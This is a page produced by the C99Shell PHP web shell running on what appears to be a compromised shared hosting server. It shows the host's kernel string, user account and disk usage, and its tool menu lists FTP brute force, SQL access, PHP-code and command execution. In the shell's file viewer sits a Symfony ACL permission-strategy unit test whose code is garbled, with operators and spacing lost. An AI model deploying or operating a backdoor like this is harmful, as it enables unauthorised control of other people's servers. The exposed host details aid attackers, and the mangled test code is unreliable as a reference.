!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: Apache. PHP/7.3.33 

uname -a: Linux acloudg.aryanict.com 4.18.0-513.9.1.lve.el8.x86_64 #1 SMP Mon Dec 4 15:01:22 UTC
2023 x86_64
 

uid=1095(katebhospital) gid=1098(katebhospital) groups=1098(katebhospital) 

Safe-mode: OFF (not secure)

/opt/alt/php54/usr/share/pear/test/Security/Symfony/Component/Security/Acl/Tests/Domain/   drwxr-xr-x
Free 293.88 GB of 429.69 GB (68.39%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     PermissionGrantingStrategyTest.php (6.5 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

/*
 * This file is part of the Symfony package.
 *
 * (c) Fabien Potencier <fabien@symfony.com>
 *
 * For the full copyright and license information, please view the LICENSE
 * file that was distributed with this source code.
 */

namespace Symfony\Component\Security\Acl\Tests\Domain;

use 
Symfony\Component\Security\Acl\Domain\ObjectIdentity;
use 
Symfony\Component\Security\Acl\Domain\RoleSecurityIdentity;
use 
Symfony\Component\Security\Acl\Domain\Acl;
use 
Symfony\Component\Security\Acl\Domain\UserSecurityIdentity;
use 
Symfony\Component\Security\Acl\Domain\PermissionGrantingStrategy;
use 
Symfony\Component\Security\Acl\Exception\NoAceFoundException;

class 
PermissionGrantingStrategyTest extends \PHPUnit_Framework_TestCase
{
    public function 
testIsGrantedObjectAcesHavePriority()
    {
        
$strategy = new PermissionGrantingStrategy();
        
$acl $this->getAcl($strategy);
        
$sid = new UserSecurityIdentity('johannes''Foo');

        
$acl->insertClassAce($sid1);
        
$acl->insertObjectAce($sid10false);
        
$this->assertFalse($strategy->isGranted($acl, array(1), array($sid)));
    }

    public function 
testIsGrantedFallsBackToClassAcesIfNoApplicableObjectAceWasFound()
    {
        
$strategy = new PermissionGrantingStrategy();
        
$acl $this->getAcl($strategy);
        
$sid = new UserSecurityIdentity('johannes''Foo');

        
$acl->insertClassAce($sid1);
        
$this->assertTrue($strategy->isGranted($acl, array(1), array($sid)));
    }

    public function 
testIsGrantedFavorsLocalAcesOverParentAclAces()
    {
        
$strategy = new PermissionGrantingStrategy();
        
$sid = new UserSecurityIdentity('johannes''Foo');

        
$acl $this->getAcl($strategy);
        
$acl->insertClassAce($sid1);

        
$parentAcl $this->getAcl($strategy);
        
$acl->setParentAcl($parentAcl);
        
$parentAcl->insertClassAce($sid10false);

        
$this->assertTrue($strategy->isGranted($acl, array(1), array($sid)));
    }

    public function 
testIsGrantedFallsBackToParentAcesIfNoLocalAcesAreApplicable()
    {
        
$strategy = new PermissionGrantingStrategy();
        
$sid = new UserSecurityIdentity('johannes''Foo');
        
$anotherSid = new UserSecurityIdentity('ROLE_USER''Foo');

        
$acl $this->getAcl($strategy);
        
$acl->insertClassAce($anotherSid10false);

        
$parentAcl $this->getAcl($strategy);
        
$acl->setParentAcl($parentAcl);
        
$parentAcl->insertClassAce($sid1);

        
$this->assertTrue($strategy->isGranted($acl, array(1), array($sid)));
    }

    
/**
     * @expectedException \Symfony\Component\Security\Acl\Exception\NoAceFoundException
     */
    
public function testIsGrantedReturnsExceptionIfNoAceIsFound()
    {
        
$strategy = new PermissionGrantingStrategy();
        
$acl $this->getAcl($strategy);
        
$sid = new UserSecurityIdentity('johannes''Foo');

        
$strategy->isGranted($acl, array(1), array($sid));
    }

    public function 
testIsGrantedFirstApplicableEntryMakesUltimateDecisionForPermissionIdentityCombination()
    {
        
$strategy = new PermissionGrantingStrategy();
        
$acl $this->getAcl($strategy);
        
$sid = new UserSecurityIdentity('johannes''Foo');
        
$aSid = new RoleSecurityIdentity('ROLE_USER');

        
$acl->insertClassAce($aSid1);
        
$acl->insertClassAce($sid11false);
        
$acl->insertClassAce($sid12);
        
$this->assertFalse($strategy->isGranted($acl, array(1), array($sid$aSid)));

        
$acl->insertObjectAce($sid10false);
        
$acl->insertObjectAce($aSid11);
        
$this->assertFalse($strategy->isGranted($acl, array(1), array($sid$aSid)));
    }

    public function 
testIsGrantedCallsAuditLoggerOnGrant()
    {
        
$strategy = new PermissionGrantingStrategy();
        
$acl $this->getAcl($strategy);
        
$sid = new UserSecurityIdentity('johannes''Foo');

        
$logger $this->getMock('Symfony\Component\Security\Acl\Model\AuditLoggerInterface');
        
$logger
            
->expects($this->once())
            ->
method('logIfNeeded')
        ;
        
$strategy->setAuditLogger($logger);

        
$acl->insertObjectAce($sid1);
        
$acl->updateObjectAuditing(0truefalse);

        
$this->assertTrue($strategy->isGranted($acl, array(1), array($sid)));
    }

    public function 
testIsGrantedCallsAuditLoggerOnDeny()
    {
        
$strategy = new PermissionGrantingStrategy();
        
$acl $this->getAcl($strategy);
        
$sid = new UserSecurityIdentity('johannes''Foo');

        
$logger $this->getMock('Symfony\Component\Security\Acl\Model\AuditLoggerInterface');
        
$logger
            
->expects($this->once())
            ->
method('logIfNeeded')
        ;
        
$strategy->setAuditLogger($logger);

        
$acl->insertObjectAce($sid10false);
        
$acl->updateObjectAuditing(0falsetrue);

        
$this->assertFalse($strategy->isGranted($acl, array(1), array($sid)));
    }

    
/**
     * @dataProvider getAllStrategyTests
     */
    
public function testIsGrantedStrategies($maskStrategy$aceMask$requiredMask$result)
    {
        
$strategy = new PermissionGrantingStrategy();
        
$acl $this->getAcl($strategy);
        
$sid = new UserSecurityIdentity('johannes''Foo');

        
$acl->insertObjectAce($sid$aceMask0true$maskStrategy);

        if (
false === $result) {
            try {
                
$strategy->isGranted($acl, array($requiredMask), array($sid));
                
$this->fail('The ACE is not supposed to match.');
            } catch (
NoAceFoundException $noAce) { }
        } else {
            
$this->assertTrue($strategy->isGranted($acl, array($requiredMask), array($sid)));
        }
    }

    public function 
getAllStrategyTests()
    {
        return array(
            array(
'all'<< << 1<< 0true),
            array(
'all'<< << 1<< 2false),
            array(
'all'<< << 10<< << 10true),
            array(
'all'<< << 1<< << || << 2false),
            array(
'any'<< << 1<< 0true),
            array(
'any'<< << 1<< << 2true),
            array(
'any'<< << 1<< 2false),
            array(
'equal'<< << 1<< 0false),
            array(
'equal'<< << 1<< 1false),
            array(
'equal'<< << 1<< << 1true),
        );
    }

    protected function 
getAcl($strategy)
    {
        static 
$id 1;

        return new 
Acl($id++, new ObjectIdentity(1'Foo'), $strategy, array(), true);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by KaizenLouie | C99Shell Github | Generation time: 0.098 ]--